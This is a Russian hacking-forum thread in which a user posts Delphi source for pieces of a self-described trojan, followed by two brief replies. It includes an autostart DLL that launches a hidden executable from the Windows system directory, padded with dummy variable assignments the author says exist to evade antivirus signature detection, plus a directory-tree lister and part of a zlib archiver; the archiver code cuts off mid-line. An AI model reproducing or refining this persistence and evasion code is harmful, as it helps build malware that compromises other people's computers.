&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;//5 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CloseFile(F); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DeleteFile(GetWork+'ident.txt'); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;//6 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;//Индивидуальные действия &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; end;//1 end; &nbsp; end.
 
Исходный текст wqlsrih.dll.
 
library Run; uses windows,sysutils; &nbsp; function GetWork:string; var a : array[0..MAX_PATH] of char; begin GetSystemDirectory(a,SizeOf(a)); Result:=StrPas(a)+'\internal\internal.exe'; end; &nbsp; procedure ExeStartup(); var St:TStartupinfo; Pr:TProcessInformation; i:String; begin i:='000001'; ZeroMemory(@St, SizeOf(St)); i:='000002'; St.cb := SizeOf(St); i:='000003'; St.lpDesktop := PChar('winsta0\default'); i:='000004';// CreateProcess(nil,PChar(GetWork),nil,nil,false,0,nil,nil,St,Pr); i:='000005'; end; exports ExeStartup; begin &nbsp; end.
Метод автозапуска придуман не мной, поэтому идут манипуляции с переменной i, чтобы антивирус не определял, по сигнатуре что это вирус.
 
Исходный текст программы для построения дерева каталогов. Тоже доделанная мною. Но работает очень медленно, сам не разбирался но возможно где-то можно оптимизировать.
unit Unit1; &nbsp; interface &nbsp; uses &nbsp; Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, &nbsp; Dialogs, StdCtrls, ComCtrls, Menus; &nbsp; type &nbsp; TForm1 = class(TForm) &nbsp;&nbsp;&nbsp; TreeView1: TTreeView; &nbsp;&nbsp;&nbsp; OpenDialog1: TOpenDialog; &nbsp;&nbsp;&nbsp; MainMenu1: TMainMenu; &nbsp;&nbsp;&nbsp; N1: TMenuItem; &nbsp;&nbsp;&nbsp; Edit1: TEdit; &nbsp;&nbsp;&nbsp; procedure N1Click(Sender: TObject); &nbsp; private &nbsp;&nbsp;&nbsp; { Private declarations } &nbsp; public &nbsp;&nbsp;&nbsp; { Public declarations } &nbsp; end; &nbsp; var &nbsp; Form1: TForm1; &nbsp; List:TStringList; implementation &nbsp; {$R *.dfm} &nbsp; procedure FillTreeViewWithFiles(TreeView1: TTreeView; Strs: TStringList); var &nbsp; CachedStrs: TStringList; &nbsp; procedure AddItem(Lev: Integer; ParentNode: TTreeNode; S: string); &nbsp;&nbsp;&nbsp; function FindNodeWithText(AParent: TTreeNode; const S: string): TTreeNode; &nbsp;&nbsp;&nbsp; var &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; K: Integer; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fStr: string; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tmpNode: TTreeNode; &nbsp;&nbsp;&nbsp; begin &nbsp;&nbsp;&nbsp; Application.ProcessMessages; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Result := nil; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fStr := S + IntToStr(Integer(AParent)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; K := CachedStrs.IndexOf(fStr); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if K &gt; -1 then &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Result := Pointer(CachedStrs.Objects[K]) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if AParent &lt;&gt; nil then &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tmpNode := AParent.getFirstChild &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tmpNode := TreeView1.Items.GetFirstNode; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while tmpNode &lt;&gt; nil do &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Application.ProcessMessages; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if tmpNode.Text = S then &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Result := tmpNode; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CachedStrs.AddObject(fStr, Pointer(tmpNode)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tmpNode := tmpNode.getNextSibling; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end &nbsp;&nbsp;&nbsp; end; &nbsp; &nbsp; var &nbsp;&nbsp;&nbsp; prefix: string; &nbsp;&nbsp;&nbsp; ID: Integer; &nbsp;&nbsp;&nbsp; aNode: TTreeNode; &nbsp; begin &nbsp;&nbsp;&nbsp; if S = '' then &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Exit; &nbsp;&nbsp;&nbsp; ID := Pos('\', S); &nbsp;&nbsp;&nbsp; prefix := ''; &nbsp;&nbsp;&nbsp; if ID &gt; 0 then &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; prefix := Copy(S, 1, ID - 1) &nbsp;&nbsp;&nbsp; else &nbsp;&nbsp; &nbsp;begin &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; prefix := S; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; S := ''; &nbsp;&nbsp;&nbsp; end; &nbsp; &nbsp;&nbsp;&nbsp; aNode := FindNodeWithText(ParentNode, prefix); &nbsp; &nbsp;&nbsp;&nbsp; if aNode = nil then &nbsp;&nbsp;&nbsp; begin &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; aNode := TreeView1.Items.AddChild(ParentNode, prefix); &nbsp; &nbsp;&nbsp;&nbsp; end; &nbsp;&nbsp;&nbsp; Application.ProcessMessages; &nbsp;&nbsp;&nbsp; AddItem(Lev + 1, aNode, Copy(S, ID + 1, Length(S))); &nbsp; &nbsp; end; &nbsp; var &nbsp; K,sd: Integer; begin Application.ProcessMessages; &nbsp; CachedStrs := TStringList.Create; &nbsp; CachedStrs.Duplicates := dupIgnore; &nbsp; CachedStrs.Sorted := True; &nbsp; try &nbsp;&nbsp;&nbsp; TreeView1.Items.BeginUpdate; &nbsp;&nbsp;&nbsp; TreeView1.SortType := stNone; &nbsp;&nbsp;&nbsp; for K := 0 to Strs.Count - 1 do &nbsp;&nbsp;&nbsp; begin &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AddItem(0, nil, Strs[K]); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Form1.Edit1.Text:=IntToStr(K)+' '+IntToStr(Strs.Count - 1); &nbsp;&nbsp;&nbsp; end; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Application.ProcessMessages; &nbsp; finally &nbsp;&nbsp;&nbsp; TreeView1.Items.EndUpdate; &nbsp;&nbsp;&nbsp; CachedStrs.Free; &nbsp; end; end; &nbsp; procedure TForm1.N1Click(Sender: TObject); begin if OpenDialog1.Execute then &nbsp; begin &nbsp;&nbsp;&nbsp; List:=TStringList.Create; &nbsp;&nbsp;&nbsp; List.LoadFromFile(OpenDialog1.FileName); &nbsp;&nbsp;&nbsp; FillTreeViewWithFiles(TreeView1,List); &nbsp;&nbsp;&nbsp; ShowMessage('End'); &nbsp; end; end; &nbsp; end.  
Исходник архиватора
 
unit Unit1; &nbsp; interface &nbsp; uses &nbsp; Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, &nbsp; Dialogs, Zlib, StdCtrls; &nbsp; type &nbsp; TForm1 = class(TForm) &nbsp;&nbsp;&nbsp; GroupBox1: TGroupBox; &nbsp;&nbsp;&nbsp; GroupBox2: TGroupBox; &nbsp;&nbsp;&nbsp; Edit1: TEdit; &nbsp;&nbsp;&nbsp; Button1: TButton; &nbsp;&nbsp;&nbsp; Edit2: TEdit; &nbsp;&nbsp;&nbsp; Button2: TButton; &nbsp;&nbsp;&nbsp; Edit3: TEdit; &nbsp;&nbsp;&nbsp; Button3: TButton; &nbsp;&nbsp;&nbsp; Edit4: TEdit; &nbsp;&nbsp;&nbsp; Button4: TButton; &nbsp;&nbsp;&nbsp; OpenDialog1: TOpenDialog; &nbsp;&nbsp;&nbsp; OpenDialog2: TOpenDialog; &nbsp;&nbsp;&nbsp; SaveDialog1: TSaveDialog; &nbsp;&nbsp;&nbsp; Button5: TButton; &nbsp;&nbsp;&nbsp; procedure Button1Click(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Button2Click(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Button5Click(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Button3Click(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Button4Click(Sender: TObject); &nbsp; private &nbsp;&nbsp;&nbsp; { Private declarations } &nbsp; public &nbsp;&nbsp;&nbsp; { Public declarations } &nbsp; end; &nbsp; var &nbsp; Form1: TForm1; &nbsp; implementation &nbsp; {$R *.dfm} &nbsp; procedure CompressFiles(Files : TStringList; const Filename : String); &nbsp;var &nbsp;&nbsp; infile, outfile, tmpFile : TFileStream; &nbsp;&nbsp; compr : TCompressionStream; &nbsp;&nbsp; i,l
Post #: 1
RE: Баллистический троян для сaмых маленьких. - 2008-01-25 02:21:58.420000   
VViskas =[O_o]=

Сообщений: 145
Оценки: 0
Присоединился: 2008-01-01 02:25:50.893333
quote:

ORIGINAL: Alaget
Исходный текст программы для построения дерева каталогов. Тоже доделанная мною. Но работает очень медленно, сам не разбирался но возможно где-то можно оптимизировать.

так ведь:

…опечатка…или… O_o
Post #: 2
RE: Баллистический троян для сaмых маленьких. - 2008-01-26 13:46:25.583333   
Alaget

Сообщений: 330
Оценки: 0
Присоединился: 2007-11-08 15:57:53.170000
Твоя тупость поражает.
Post #: 3
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Баллистический троян для сaмых маленьких.







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.